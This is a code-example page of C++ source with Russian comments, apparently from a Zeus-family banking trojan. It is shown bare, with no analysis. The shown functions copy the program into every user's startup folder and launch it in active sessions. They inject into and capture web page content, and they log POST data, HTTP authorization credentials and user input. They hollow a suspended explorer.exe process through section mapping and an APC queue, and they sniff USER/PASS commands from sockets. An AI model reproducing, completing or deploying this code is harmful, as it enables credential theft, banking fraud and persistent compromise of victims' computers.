        if(OsEnv::_getUserProfileDirectoryhBySid(buf23->usri23_user_sid, profileDir) && Fs::_pathCombine(profileDir, profileDir, startupPath) && Fs::_createDirectoryTree(profileDir, NULL))
        {
          WDEBUG2(WDDT_INFO, "Founded user: name=[%s], profileDir=[%s].", buf23->usri23_name, profileDir);

          //Делаем копию себя в профиль пользователя.
          WCHAR fileName[MAX_PATH];
          if(MalwareTools::_GenerateRandomFileName(MalwareTools::NCF_ALL_LOWER, profileDir, fileName, FILEEXTENSION_EXECUTABLE, 4, 6) && savePeFile(NULL, fileName, false))
          {
            WDEBUG1(WDDT_INFO, "Copied to \"%s\".", fileName);
            ok = true;
            
            //Пытаемся запустить процесс.
            tryToRunForActiveSessions(buf23->usri23_user_sid, fileName);
          }
#         if(BO_DEBUG > 0)
          else WDEBUG1(WDDT_ERROR, "Failed to copy itself to statup folder of user \"%s\".", buf23->usri23_name);
#         endif
        }
        CWA(neteapi32, NetApiBufferFree)(buf23);
      }
      CWA(neteapi32, NetApiBufferFree)(buf0);
    }
  }
  while(status == ERROR_MORE_DATA);

  //Ну и копируем в себя в Default User.
  if(CWA(shell32, SHGetFolderPathW)(NULL, CSIDL_STARTUP | CSIDL_FLAG_CREATE, (HANDLE)-1, SHGFP_TYPE_DEFAULT, startupPath) == S_OK)
  {
    WCHAR fileName[MAX_PATH];
    if(MalwareTools::_GenerateRandomFileName(MalwareTools::NCF_ALL_LOWER, startupPath, fileName, FILEEXTENSION_EXECUTABLE, 4, 6) && savePeFile(NULL, fileName, false))ok = true;
  }
  return ok;
}
Пример #12
0
/*
  Поиск активных сессий пользователя, и запуск из под них процессов.

  IN sid      - SID пользоваетеля.
  IN fileName - файл для запуска.
*/
static void tryToRunForActiveSessions(PSID sid, const LPWSTR fileName)
{
  HMODULE dll;
  {
    CSTR_GETW(dllName, module_wtsapi32);
    dll = CWA(kernel32, LoadLibraryW)(dllName);
  }

  if(dll != NULL)
  {    
    WTSENUMERATESESSIONSW enumerateSessions;
    WTSFREEMEMORY freeMemory;
    WTSQUERYUSERTOKEN queryUserToken;
    {
      CSTR_GETA(enumerateSessionsName, wtsapi32_enumeratesessions);
      enumerateSessions = (WTSENUMERATESESSIONSW)CWA(kernel32, GetProcAddress)(dll, enumerateSessionsName);
    }
    {
      CSTR_GETA(freeMemoryName, wtsapi32_freememory);
      freeMemory = (WTSFREEMEMORY)CWA(kernel32, GetProcAddress)(dll, freeMemoryName);
    }
    {
      CSTR_GETA(queryUserTokenName, wtsapi32_queryusertoken);
      queryUserToken = (WTSQUERYUSERTOKEN)CWA(kernel32, GetProcAddress)(dll, queryUserTokenName);
    }
    
    if(enumerateSessions != NULL && freeMemory != NULL && queryUserToken != NULL)
    {
      Process::_enablePrivilege(SE_TCB_NAME, true); //Для WTSQueryUserToken.
      
      //Интерактивную сессию обрабатываем отдельно, на случай если терминальный сервер не запущен и т.д.
      DWORD activeSession = CWA(kernel32, WTSGetActiveConsoleSessionId)();
      WDEBUG1(WDDT_INFO, "activeSession=%u.", activeSession);
      
      //Смотрим интерактивную сессию.
      if(activeSession != (DWORD)-1)createProcessForSession(queryUserToken, activeSession, sid, fileName);

      //Проматриваем все сессии кроме интерактивной.
      {
        PWTS_SESSION_INFOW sessions;
        DWORD sessionsCount;

        if(enumerateSessions(WTS_CURRENT_SERVER_HANDLE, 0, 1, &sessions, &sessionsCount) != FALSE)
        {
          WDEBUG1(WDDT_INFO, "sessionsCount=%u.", sessionsCount);
          for(DWORD i = 0; i < sessionsCount; i++)
          {
            WDEBUG4(WDDT_INFO, "sessions[%u].State=%u, sessions[%u].SessionId=%u", i, sessions[i].State, i, sessions[i].SessionId);
            if((sessions[i].State == WTSActive || sessions[i].State == WTSDisconnected) && sessions[i].SessionId != activeSession)
            {
              createProcessForSession(queryUserToken, sessions[i].SessionId, sid, fileName);
            }
          }
          freeMemory(sessions);
        }
#       if(BO_DEBUG > 0)
        else WDEBUG0(WDDT_ERROR, "WTSEnumerateSessionsW failed.");
#       endif
      }
    }
    CWA(kernel32, FreeLibrary)(dll);
  }
}
Пример #13
0
bool HttpGrabber::_executeInjects(const LPSTR url, LPBYTE *context, LPDWORD contextSize, const INJECTFULLDATA *dataList, DWORD count)
{
  DWORD changesCount = 0; //Кол. примененых инжектов.

  OutputDebugStringA(url);
  for(DWORD i = 0; i < count; i++)
  {
    INJECTFULLDATA *curData = (INJECTFULLDATA *)&dataList[i];
    OutputDebugStringA(curData->contextMask);
    DWORD matchFlags = curData->flags & HttpInject::FLAG_CONTEXT_CASE_INSENSITIVE ? Str::MATCH_CASE_INSENSITIVE_FAST : 0;

    //Проверка маски контента.
    if(curData->contextMask != NULL && !_matchContextA(curData->contextMask, *context, *contextSize, matchFlags))
    {
#     if defined WDEBUG0
      WDEBUG0(WDDT_INFO, "Context no matched.");
#     endif
	  OutputDebugStringA("1");
      continue;
    }
OutputDebugStringA("2");
    LPBYTE grabbedData     = NULL;
    DWORD  grabbedDataSize = 0;
    LPBYTE curBlock        = (LPBYTE)curData->injects;
    LPBYTE endBlock        = curBlock + curData->injectsSize;

    //Применяем инжекты, грабим данные.
    while(curBlock < endBlock)
    {
      //Ищим место замены.
      DWORD offsetBegin; //Начало данных для замены.
      DWORD offsetEnd;   //Конец данных для замены.
      HttpInject::INJECTBLOCK *blockPrefix = (HttpInject::INJECTBLOCK *)curBlock;
      HttpInject::INJECTBLOCK *blockPostfix  = (HttpInject::INJECTBLOCK *)((LPBYTE)blockPrefix + blockPrefix->size);
      HttpInject::INJECTBLOCK *blockNew    = (HttpInject::INJECTBLOCK *)((LPBYTE)blockPostfix + blockPostfix->size);
      
      curBlock = (LPBYTE)blockNew + blockNew->size; //Следующий элемент.
      
      //Получаем позицию начала.
OutputDebugStringA("3");
      if(blockPrefix->size == sizeof(HttpInject::INJECTBLOCK))
      {
OutputDebugStringA("4");
        offsetBegin = 0;
      }
      else if(!_matchContextExA((LPBYTE)blockPrefix + sizeof(HttpInject::INJECTBLOCK), blockPrefix->size - sizeof(HttpInject::INJECTBLOCK), *context, *contextSize, NULL, &offsetBegin, matchFlags))
      {
OutputDebugStringA("5");
        continue;
      }
      
      //Получаем позицию конца.
      if(blockPostfix->size == sizeof(HttpInject::INJECTBLOCK))
      {
OutputDebugStringA("6");
        if(blockPrefix->size == sizeof(HttpInject::INJECTBLOCK))offsetEnd = *contextSize;
        else offsetEnd = offsetBegin;
      }
      else if(_matchContextExA((LPBYTE)blockPostfix + sizeof(HttpInject::INJECTBLOCK), blockPostfix->size - sizeof(HttpInject::INJECTBLOCK), *context + offsetBegin, *contextSize - offsetBegin, &offsetEnd, NULL, matchFlags))
      {        
OutputDebugStringA("7");
        if(blockPrefix->size == sizeof(HttpInject::INJECTBLOCK))offsetBegin = offsetEnd;
        else offsetEnd += offsetBegin;
      }
      else
      {
OutputDebugStringA("8");
        continue;
      }      
      
      DWORD blockNewDataSize = blockNew->size - sizeof(HttpInject::INJECTBLOCK); //Размер ставляемых данных.
      DWORD matchedDataSize  = offsetEnd - offsetBegin;                          //Размер наденых данных.
      //Замена.
OutputDebugStringA("9");
      if(curData->flags & HttpInject::FLAG_IS_INJECT)
      {
OutputDebugStringA("10");
        DWORD newSize = *contextSize - matchedDataSize + blockNewDataSize;
        LPBYTE newBuf  = (LPBYTE)Mem::alloc(newSize);

        if(newBuf != NULL) //Не обращаем внимание на ошибку.
        {
OutputDebugStringA("11");
          Mem::_copy(newBuf,                                  *context,                                           offsetBegin);
          Mem::_copy(newBuf + offsetBegin,                    (LPBYTE)blockNew + sizeof(HttpInject::INJECTBLOCK), blockNewDataSize);
          Mem::_copy(newBuf + offsetBegin + blockNewDataSize, *context + offsetEnd,                               *contextSize - offsetEnd);

		WriteGrabberData("url1", *context, *contextSize);

          Mem::free(*context);
          *context     = newBuf;
          *contextSize = newSize;
		WriteGrabberData("url2", *context, *contextSize);

          changesCount++;
        }
      }
      //Сохранение.
      else if(curData->flags & HttpInject::FLAG_IS_CAPTURE)
      {
        if(Mem::reallocEx(&grabbedData, grabbedDataSize + blockNewDataSize + matchedDataSize + 1/*\n*/ + 1/*\0*/)) //Не обращаем внимание на ошибку.
        {
          if(blockNewDataSize > 0)
          {
            Mem::_copy(grabbedData + grabbedDataSize, (LPBYTE)blockNew + sizeof(HttpInject::INJECTBLOCK), blockNewDataSize);
            grabbedDataSize += blockNewDataSize;
          }
          Mem::_copy(grabbedData + grabbedDataSize, *context + offsetBegin, matchedDataSize);

          if(curData->flags & HttpInject::FLAG_CAPTURE_NOTPARSE)grabbedDataSize += matchedDataSize;
          else grabbedDataSize += HttpTools::_removeTagsA((LPSTR)grabbedData + grabbedDataSize, matchedDataSize);

          grabbedData[grabbedDataSize++] = '\n';
          grabbedData[grabbedDataSize]   = 0;
        }
      }
    }

    //Пишим награбленное.
    if(curData->flags & HttpInject::FLAG_IS_CAPTURE)
    {
      /*if(grabbedData == NULL)
      {
        grabbedDataSize = 35;
        grabbedData     = (LPBYTE)Str::_CopyExA("*NO MATCHES FOUND FOR CURRENT MASK*", grabbedDataSize);
      }*/

      if(grabbedData != NULL)
      {
        if(curData->flags & HttpInject::FLAG_CAPTURE_TOFILE)
        {
          char host[260];
          URL_COMPONENTSA uc;

          Mem::_zero(&uc, sizeof(URL_COMPONENTSA));
          uc.dwStructSize     = sizeof(URL_COMPONENTSA);
          uc.lpszHostName     = host;
          uc.dwHostNameLength = sizeof(host) / sizeof(char) - 1;

          if(CWA(wininet, InternetCrackUrlA)(url, 0, 0, &uc) == TRUE && uc.dwHostNameLength > 0)
          {
			/*
            WCHAR file[MAX_PATH];
            SYSTEMTIME st;
            
            CWA(kernel32, GetSystemTime)(&st);            
            CSTR_GETW(decodedString, httpgrabber_inject_path_format);
            Str::_sprintfW(file, sizeof(file) / sizeof(WCHAR), decodedString, host, st.wYear - 2000, st.wMonth, st.wDay);
            Report::writeData(BLT_FILE, NULL, file, grabbedData, grabbedDataSize);
			*/
		    WriteGrabberData(url, grabbedData, grabbedDataSize);
          }
        }
        else
        {
          LPWSTR urlW = Str::_ansiToUnicodeEx(url, -1);
          if(urlW != NULL)
          {
            CSTR_GETW(decodedString, httpgrabber_inject_grabbed_format);
            Report::writeStringFormat(BLT_GRABBED_HTTP, urlW, NULL, decodedString, urlW, grabbedData);
            Mem::free(urlW);
          }
        }
        Mem::free(grabbedData);
      }
    }

    if(curData->blockOnUrl != NULL)
    {
      //Суточное ограничение.
      if(curData->flags & HttpInject::FLAG_ONCE_PER_DAY)
      {
        WCHAR key[CORE_REGISTRY_KEY_BUFFER_SIZE];
        WCHAR value[max(CORE_REGISTRY_VALUE_BUFFER_SIZE, (MD5HASH_SIZE * 2 + 1))];
        Core::getRegistryValue(Core::RV_LOCALCONFIG, key, value);

        //Получаем хэш.
        BYTE hash[MD5HASH_SIZE];
        if(Crypt::_md5Hash(hash, curData->blockOnUrl, Str::_LengthA(curData->blockOnUrl)))
        {
          Str::_toHexW(hash, MD5HASH_SIZE, value);

          //Ставим значение.
          SYSTEMTIME curTime;
          CWA(kernel32, GetLocalTime)(&curTime);
          Registry::_setValueAsBinary(HKEY_CURRENT_USER, key, value, REG_BINARY, &curTime, sizeof(SYSTEMTIME));
        }
      }
      //Обычная блокировка.
      else
      {
#       if defined WDEBUG1
        WDEBUG1(WDDT_INFO, "Wating for blocking url [%S].", curData->blockOnUrl);
#       endif        
        
        CWA(kernel32, EnterCriticalSection)(&blockInjectInfo.cs);
        Mem::free(blockInjectInfo.urlMaskForBlock);
        Mem::free(blockInjectInfo.blockOnUrl);
        blockInjectInfo.urlMaskForBlock =  Str::_CopyExA(curData->urlMask, -1);
        blockInjectInfo.blockOnUrl      =  Str::_CopyExA(curData->blockOnUrl, -1);
        CWA(kernel32, LeaveCriticalSection)(&blockInjectInfo.cs);
      }
    }
  }

  return (changesCount > 0);
}
Пример #14
0
DWORD HttpGrabber::analizeRequestData(REQUESTDATA *requestData)
{
#if defined WDEBUG6
  WDEBUG6(WDDT_INFO,
          "requestData->handle=[0x%p], requestData->url=[%S], requestData->referer=[%S], requestData->contentType=[%S], requestData->verb=[%u], requestData->postDataSize=[%u].",
          requestData->handle,
          requestData->url,
          requestData->referer,
          requestData->contentType,
          requestData->verb,
          requestData->postDataSize
         );
#endif

  DWORD retVal = 0;
  signed char writeReport = -1;/*-1 - по умолчанию, 0 - не писать, 1 - принудительно писать*/;

  //Проверяем на блокировку.
  CWA(kernel32, EnterCriticalSection)(&blockInjectInfo.cs);
  if(blockInjectInfo.blockOnUrl != NULL && blockInjectInfo.urlMaskForBlock != NULL && _matchUrlA(blockInjectInfo.blockOnUrl, requestData->url, requestData->urlSize, 0))
  {
#   if defined WDEBUG1
    WDEBUG1(WDDT_INFO, "Detected blocking url [%S] for current url.", blockInjectInfo.blockOnUrl);
#   endif    

    //Нельзя юзать requestData->localConfig т.к. она открта только для чтения.
    BinStorage::STORAGE *localConfig = LocalConfig::beginReadWrite();
    if(localConfig != NULL)
    {
      if(_addUrlMaskToList(LocalConfig::ITEM_URLLIST_BLOCKEDINJECTS, &localConfig, blockInjectInfo.urlMaskForBlock))
      {
        LocalConfig::endReadWrite(localConfig);
      }
      else
      {
        Mem::free(localConfig);
        LocalConfig::endReadWrite(NULL);
      }
    }
    
    Mem::free(blockInjectInfo.urlMaskForBlock);
    Mem::free(blockInjectInfo.blockOnUrl);
    blockInjectInfo.urlMaskForBlock = NULL;
    blockInjectInfo.blockOnUrl      = NULL;
  }
  CWA(kernel32, LeaveCriticalSection)(&blockInjectInfo.cs);
  
  //Проверяем запрос по фильтру.
  if(requestData->dynamicConfig != NULL)
  {
    DWORD httpFilterSize;
    LPSTR httpFilter = (LPSTR)BinStorage::_getItemDataEx(requestData->dynamicConfig, CFGID_HTTP_FILTER, BinStorage::ITEMF_IS_OPTION, &httpFilterSize);

    if(Str::_isValidMultiStringA(httpFilter, httpFilterSize))
    {      
      LPSTR curFilter = httpFilter;
      do if(curFilter[1] != 0)
      { 
        //Опеределяем тип фильтра.
        char filterType;
        switch(curFilter[0])
        {
          case '!': filterType = 1; break; //Не писать в отчет,
          case '@': filterType = 2; break; //Скриншот.
          case '-': filterType = 3; break; //Сохранение всех куков связаных с URL, и блокировка доступа.
          case '^': filterType = 4; break; //Блокировка доступа.
          default:  filterType = 0; break; //Принудительно писать в отчет.
        }
        if(filterType != 0)curFilter++;

        //Сравниваем URL.
        if(_matchUrlA(curFilter, requestData->url, requestData->urlSize, 0))
        {
#         if defined WDEBUG3
          WDEBUG3(WDDT_INFO, "requestData->url=[%S] matched [%S] for filter type %u.", requestData->url, curFilter, filterType);
#         endif

          switch(filterType)
          {
            case 0:
            {
              writeReport = 0;
              break;
            }
            
            case 1:
            {
              writeReport = 1;
              break;
            }
            
            case 2:
            {
              char host[260];
              URL_COMPONENTSA uc;

              Mem::_zero(&uc, sizeof(URL_COMPONENTSA));
              uc.dwStructSize     = sizeof(URL_COMPONENTSA);
              uc.lpszHostName     = host;
              uc.dwHostNameLength = sizeof(host) / sizeof(char) - 1;

              if(CWA(wininet, InternetCrackUrlA)(requestData->url, requestData->urlSize, 0, &uc) == TRUE && uc.dwHostNameLength > 0)
              {
                UserHook::enableImageOnClick(USERCLICK2IMAGE_LIMIT, host);
              }
              break;
            }

            case 3:
            {
              //FIXME: saveSessionCookies(requestData->url);
              //НЕ НАДА ТУТ break!
            }
            
            case 4:
            {
              retVal      |= ANALIZEFLAG_URL_BLOCKED;
              writeReport  = 1;
              break;
            }
          }

          if(filterType != 2)break; //В случаи с скриншотом, продолжаем поиск.
        }
      }
      while((curFilter = Str::_multiStringGetIndexA(curFilter, 1)));      
    }

    Mem::free(httpFilter);
  }

  //Если URL, пока не является заблакируемой. Пытаемся ее заблокировать.
  if((retVal & HttpGrabber::ANALIZEFLAG_URL_BLOCKED) == 0 && requestData->localConfig != NULL)
  {
    if(_isUrlInList(LocalConfig::ITEM_URLLIST_BLOCKED, requestData->localConfig, requestData->url, requestData->urlSize, 0))
    {
      //FIXME: check, this URL founded in blacklist.
      retVal |= HttpGrabber::ANALIZEFLAG_URL_BLOCKED;
    }
  }

  //Проверяем тип содержимого.
  if(requestData->contentTypeSize >= (CryptedStrings::len_httpgrabber_urlencoded - 1))
  {
    CSTR_GETA(formUrlEncoded, httpgrabber_urlencoded);
    if(
        Mem::_compare(requestData->contentType, formUrlEncoded, (CryptedStrings::len_httpgrabber_urlencoded - 1)) == 0 &&
        (requestData->contentType[CryptedStrings::len_httpgrabber_urlencoded - 1] == ';' || requestData->contentType[CryptedStrings::len_httpgrabber_urlencoded - 1] == 0)
       )retVal |= HttpGrabber::ANALIZEFLAG_POSTDATA_URLENCODED;
  }

  //Проверяем наличие HTTP-авторизации.
  LPWSTR authorizationData  = NULL;
  int authorizationDataSize = 0;
  if(requestData->authorizationData.userName != NULL && *requestData->authorizationData.userName != 0 && requestData->authorizationData.password != NULL && *requestData->authorizationData.password != 0)
  {
    CSTR_GETW(format, httpgrabber_auth_normal);
    authorizationDataSize = Str::_sprintfExW(&authorizationData, format, requestData->authorizationData.userName, requestData->authorizationData.password);
  }
  else if(requestData->authorizationData.unknownType != NULL && *requestData->authorizationData.unknownType != 0)
  {
    CSTR_GETW(format, httpgrabber_auth_encoded);
    authorizationDataSize = Str::_sprintfExW(&authorizationData, format, requestData->authorizationData.unknownType);
  }

  //Проверяем хэш  HTTP-авторизации.
  if(authorizationDataSize > 0)
  {
    DWORD hash = Crypt::crc32Hash(authorizationData, authorizationDataSize * sizeof(WCHAR));
    if(lastHttpAuthorizationHash == hash)
    {
      Mem::free(authorizationData);
      authorizationData = NULL;
    }
    else
    {
      lastHttpAuthorizationHash = hash;
      retVal                   |= ANALIZEFLAG_AUTHORIZATION;
    }
  }

  //Опеределям нужно ли писать отчет.  
  {    
    if(writeReport == -1)
    {
      if((requestData->verb == VERB_POST && requestData->postDataSize > 0) || retVal & ANALIZEFLAG_AUTHORIZATION)retVal |= ANALIZEFLAG_SAVED_REPORT;
    }
    else if(writeReport == 1)retVal |= ANALIZEFLAG_SAVED_REPORT;
  }
  
  //Пишим отчет
  if(retVal & ANALIZEFLAG_SAVED_REPORT)
  {
    LPSTR postData = NULL;
    bool ok = false;
    
    //Форматируем POST-запрос.
    if(requestData->postDataSize == 0)
    {
      CSTR_GETA(decodedString, httpgrabber_report_empty);
      postData = Str::_CopyExA(decodedString, CryptedStrings::len_httpgrabber_report_empty - 1);
    }
    else if(retVal & HttpGrabber::ANALIZEFLAG_POSTDATA_URLENCODED)
    {
      if((postData = Str::_CopyExA((LPSTR)requestData->postData, requestData->postDataSize)) != NULL)
      {
        for(DWORD i = 0; i < requestData->postDataSize; i++)
        {
          if(postData[i] == '&')postData[i] = '\n';
          else if(postData[i] == '+')postData[i] = ' ';
        }
      }
    }
    else if(requestData->contentTypeSize == 0)
    {
      CSTR_GETA(decodedString, httpgrabber_report_unknown);
      postData = Str::_CopyExA(decodedString, CryptedStrings::len_httpgrabber_report_unknown - 1);
    }
  
    //Формируем отчет.
    if(postData != NULL)
    {
      LPWSTR userInput;
      UserHook::getInput(&userInput);
      
      LPWSTR urlUnicode = Str::_ansiToUnicodeEx(requestData->url, requestData->urlSize);

      if(urlUnicode != NULL)
      {
        URL_COMPONENTSA uc;

        Mem::_zero(&uc, sizeof(URL_COMPONENTSA));
        uc.dwStructSize = sizeof(URL_COMPONENTSA);

        if(CWA(wininet, InternetCrackUrlA)(requestData->url, requestData->urlSize, 0, &uc) == TRUE)
        {
          //Пишим.
          CSTR_GETW(reportFormat, httpgrabber_report_format);
          CSTR_GETW(reportBlocked, httpgrabber_report_blocked);
		  char* buf = (char*)Mem::alloc(lstrlenA(postData) + 256);
		  wsprintfA( buf, "referer: %s, user input: %s, authorization data: %s, post data: %s",
                                         requestData->referer == NULL ? "-" : requestData->referer,
                                         (char*)(userInput == NULL ? L"" : userInput),
                                         (char*)(authorizationData == NULL ? L"" : authorizationData),
                                         postData);
		  WriteGrabberData( requestData->url, (LPBYTE)buf, -1 );
		  Mem::free(buf);
		  /*
          ok = Report::writeStringFormat(uc.nScheme == INTERNET_SCHEME_HTTPS ? BLT_HTTPS_REQUEST : BLT_HTTP_REQUEST,
                                         urlUnicode,
                                         NULL,
                                         reportFormat,
                                         urlUnicode,
                                         retVal & ANALIZEFLAG_URL_BLOCKED ? reportBlocked : L"",
                                         requestData->referer == NULL ? "-" : requestData->referer,
                                         userInput == NULL ? L"" : userInput,
                                         authorizationData == NULL ? L"" : authorizationData,
                                         postData);
		  */
		}
        Mem::free(urlUnicode);
      }

      Mem::free(userInput);
      Mem::free(postData);
    }

    if(ok == false)retVal &= ~ANALIZEFLAG_SAVED_REPORT;
  }
  
  Mem::free(authorizationData);
    
  //Если URL оказалась заблокирована, применять следущие флаги нет смысла.
  if(retVal & ANALIZEFLAG_URL_BLOCKED)
  {
#   if defined WDEBUG0
    WDEBUG0(WDDT_INFO, "Current url blocked.");
#   endif    
    
    goto END;
  }

  //Проверка на инжекты и фейки.
  if(checkRequestForInject(requestData))
  {
    retVal |= ANALIZEFLAG_URL_INJECT;
#   if defined WDEBUG1
    WDEBUG1(WDDT_INFO, "Accepted %u injects for current URL.", requestData->injectsCount);
#   endif
  }

  //Проверка на замену POST-данных.
  if(retVal & HttpGrabber::ANALIZEFLAG_POSTDATA_URLENCODED && replacePostData(requestData))
  {
    retVal |= ANALIZEFLAG_POSTDATA_REPLACED;
#   if defined WDEBUG1
    WDEBUG1(WDDT_INFO, "POST-data replaced [%S].", requestData->postData);
#   endif
  }

END: 
  return retVal;
}
Пример #15
0
void* CoreInject::_copyModuleToExplorer(void *image)
{
#if defined _WIN64
  PIMAGE_NT_HEADERS64 ntHeader = (PIMAGE_NT_HEADERS)((LPBYTE)image + ((PIMAGE_DOS_HEADER)image)->e_lfanew);
#else
  PIMAGE_NT_HEADERS32 ntHeader = (PIMAGE_NT_HEADERS)((LPBYTE)image + ((PIMAGE_DOS_HEADER)image)->e_lfanew);
#endif
  typedef NTSTATUS (WINAPI *tNtMapViewOfSection)(HANDLE,HANDLE,LPVOID,ULONG,SIZE_T,LARGE_INTEGER*,SIZE_T*,DWORD,ULONG,ULONG);
  typedef NTSTATUS (WINAPI *tNtQueueApcThread)(HANDLE,PIO_APC_ROUTINE,PVOID,PIO_STATUS_BLOCK,ULONG);

  CSTR_GETA(ntmapviewofsection,ntdll_ntmapviewofsection);
  CSTR_GETA(ntqueueapcthread,ntdll_ntqueueapcthread);
  CSTR_GETW(slashexplorerdotexe, explorer_exe);

  tNtMapViewOfSection NtMapViewOfSection=(tNtMapViewOfSection)Core::__GetProcAddress(coreData.modules.ntdll,ntmapviewofsection);
  tNtQueueApcThread NtQueueApcThread=(tNtQueueApcThread)Core::__GetProcAddress(coreData.modules.ntdll,ntqueueapcthread);
  WCHAR path[MAX_PATH];
  if(CWA(shell32, SHGetFolderPathW)(NULL, CSIDL_WINDOWS, NULL, SHGFP_TYPE_CURRENT, path) == S_OK) Str::_catW(path, slashexplorerdotexe, CryptedStrings::len_explorer_exe - 1);
  WDEBUG1(WDDT_INFO, "EXPLORER.EXE PATH: %s", path);
  DWORD imageSize = ntHeader->OptionalHeader.SizeOfImage;
  bool ok         = false;
  DWORD viewSize = imageSize;
  void* remoteMem = 0;

  if(CWA(kernel32, IsBadReadPtr)(coreData.modules.current, imageSize) != 0)return NULL;
  
  //Выделние памяти для модуля.
 
  STARTUPINFOW st; PROCESS_INFORMATION pi;
  Mem::_zero(&st, sizeof(STARTUPINFOW));Mem::_zero(&pi, sizeof(PROCESS_INFORMATION));
  if(CWA(kernel32,CreateProcessW)(path,0,0,0,0,CREATE_SUSPENDED,0,0,&st,&pi) == false) {WDEBUG0(WDDT_ERROR, "Cant create explorer.exe");return NULL;}
  HANDLE hFile=CWA(kernel32,CreateFileMapping)(INVALID_HANDLE_VALUE,NULL, PAGE_EXECUTE_READWRITE,0,imageSize,NULL);
  
  if(!NT_SUCCESS(NtMapViewOfSection(hFile, pi.hProcess, &remoteMem, 0,0,0,&viewSize,1,0,PAGE_EXECUTE_READWRITE) != 0)) {WDEBUG0(WDDT_ERROR, "Cannot map into new process1");return NULL;}
  
  CWA(kernel32,TerminateProcess)(pi.hProcess,0);
  Mem::_zero(&st, sizeof(STARTUPINFOW));Mem::_zero(&pi, sizeof(PROCESS_INFORMATION));
  if(CWA(kernel32,CreateProcessW)(path,0,0,0,0,CREATE_SUSPENDED,0,0,&st,&pi) == false) {WDEBUG0(WDDT_ERROR, "Cant create explorer.exe");return NULL;}

  //Verjacrinq, uxxum enq koder@ u bacum noric
  if(remoteMem != NULL)
  {
    //Создаем локальный буфер, в котором будем вносить измненеия.
	LPBYTE buf=(LPBYTE)CWA(kernel32,MapViewOfFile)(hFile,FILE_MAP_ALL_ACCESS,0,0,0);
	if(buf <= 0) {WDEBUG0(WDDT_ERROR, "buf is null!");return NULL;}
	Mem::_copy(buf, image, imageSize);
    if(buf != NULL)
    {
      //Изменяем релоки.
      IMAGE_DATA_DIRECTORY *relocsDir = &ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
      
      if(relocsDir->Size > 0 && relocsDir->VirtualAddress > 0)
      {
        DWORD_PTR delta               = (DWORD_PTR)((LPBYTE)remoteMem - ntHeader->OptionalHeader.ImageBase);
        DWORD_PTR oldDelta            = (DWORD_PTR)((LPBYTE)image - ntHeader->OptionalHeader.ImageBase);
        IMAGE_BASE_RELOCATION *relHdr = (IMAGE_BASE_RELOCATION *)(buf + relocsDir->VirtualAddress);
      
        while(relHdr->VirtualAddress != 0)
        {
          if(relHdr->SizeOfBlock >= sizeof(IMAGE_BASE_RELOCATION))//FIXME: Что это?
          {
            DWORD relCount = (relHdr->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
            LPWORD relList = (LPWORD)((LPBYTE)relHdr + sizeof(IMAGE_BASE_RELOCATION));
            
            for(DWORD i = 0; i < relCount; i++)if(relList[i] > 0)
            {
              DWORD_PTR *p = (DWORD_PTR *)(buf + (relHdr->VirtualAddress + (0x0FFF & (relList[i]))));
              *p -= oldDelta;
              *p += delta;
            }
          }
          
          relHdr = (IMAGE_BASE_RELOCATION *)((LPBYTE)relHdr + relHdr->SizeOfBlock);
        }


        //Копируем образ в процесс.
        //ok = CWA(kernel32, WriteProcessMemory)(process, remoteMem, buf, imageSize, NULL) ? true : false;
		
		{
		

			//Указываем текущий модуль.
			if(!copyDataToBuffer(buf, &coreData.modules.current, &remoteMem, sizeof(HMODULE)))
			{
			WDEBUG0(WDDT_ERROR, "Failed coreData.modules.current.");
			
			}
			{
				HANDLE processMutex = Core::createMutexOfProcess(pi.dwProcessId);
				HANDLE newMutex;
				if(CWA(kernel32, DuplicateHandle)(CURRENT_PROCESS, processMutex, pi.hProcess, &newMutex, 0, FALSE, DUPLICATE_SAME_ACCESS) == FALSE)
				{
					WDEBUG0(WDDT_ERROR, "Failed to duplicate mutex of process.");
				}
			}
			DWORD proccessFlags = 0;
			proccessFlags |= (coreData.proccessFlags & Core::CDPT_INHERITABLE_MASK);
			if(!copyDataToBuffer(buf, &coreData.proccessFlags, &proccessFlags, sizeof(DWORD)))
			{
			  WDEBUG0(WDDT_ERROR, "Failed coreData.proccessFlags.");
			}

			  //coreData.globalHandles.stopEvent.
			if(!copyHandleToBuffer(pi.hProcess, buf, &coreData.globalHandles.stopEvent, coreData.globalHandles.stopEvent))
			{
				WDEBUG0(WDDT_ERROR, "Failed coreData.globalHandles.stopEvent.");
			}

			//coreData.globalHandles.stopedEvent.
			if(!copyHandleToBuffer(pi.hProcess, buf, &coreData.globalHandles.stopedEvent, coreData.globalHandles.stopedEvent))
			{
				WDEBUG0(WDDT_ERROR, "Failed coreData.globalHandles.stopedEvent.");
			}

		}

		if(!NT_SUCCESS(NtMapViewOfSection(hFile, pi.hProcess, &remoteMem, 0,0,0,&viewSize,1,0,PAGE_EXECUTE_READWRITE) != 0)) {WDEBUG0(WDDT_ERROR, "Cannot map into new process");return NULL;}
		if(!NT_SUCCESS(NtQueueApcThread(pi.hThread, (PIO_APC_ROUTINE)((LPBYTE)msg - (LPBYTE)coreData.modules.current + (LPBYTE)remoteMem), 0 ,0,0))){WDEBUG0(WDDT_ERROR, "NtQueueApcThread error"); CWA(kernel32,TerminateProcess)(pi.hProcess,0);};
		CWA(kernel32,ResumeThread)(pi.hThread);
		CWA(kernel32,CloseHandle)(pi.hThread);
		CWA(kernel32,CloseHandle)(pi.hProcess);

	  }
      
      CWA(kernel32,UnmapViewOfFile)(buf);
	  CWA(kernel32,CloseHandle)(hFile);
    }
    
    if(!ok)
    {
      remoteMem = NULL;
    }
  }

  return remoteMem;
}
Пример #16
0
static bool socketGrabber(SOCKET socket, const LPBYTE data, const DWORD dataSize)
{
  if(socket == INVALID_SOCKET || data == NULL || dataSize > 512)return false;

  //Поиск имени, Поиск пароля
  if(dataSize > 6 && (XOR_COMPARE(data, 0x52455355/*USER*/) || XOR_COMPARE(data, 0x53534150/*PASS*/)) && data[4] == ' ')
  {
    LPSTR argOffset = (LPSTR)(data + 5);
    DWORD argSize   = dataSize - 5;
    LPWSTR argument;
    //LPSTR nextLine;
    WDEBUG3(WDDT_INFO, "USER/PASS, argOffset=%u, dataSize=%u, argSize=%u", 5, dataSize, argSize);
    
    //Выделаяем аргумент команды.
    {
      DWORD i = 0;
      for(; i < argSize; i++)
      {
        BYTE c = argOffset[i];
        if(c == '\r' || c == '\n')
        {
          //nextLine = &argOffset[i + 1];
          break;
        }
        if(c < 0x20)return false;
      }
      if(i == 0 || i == argSize || (argument = Str::_utf8ToUnicode(argOffset, i)) == NULL)return false;
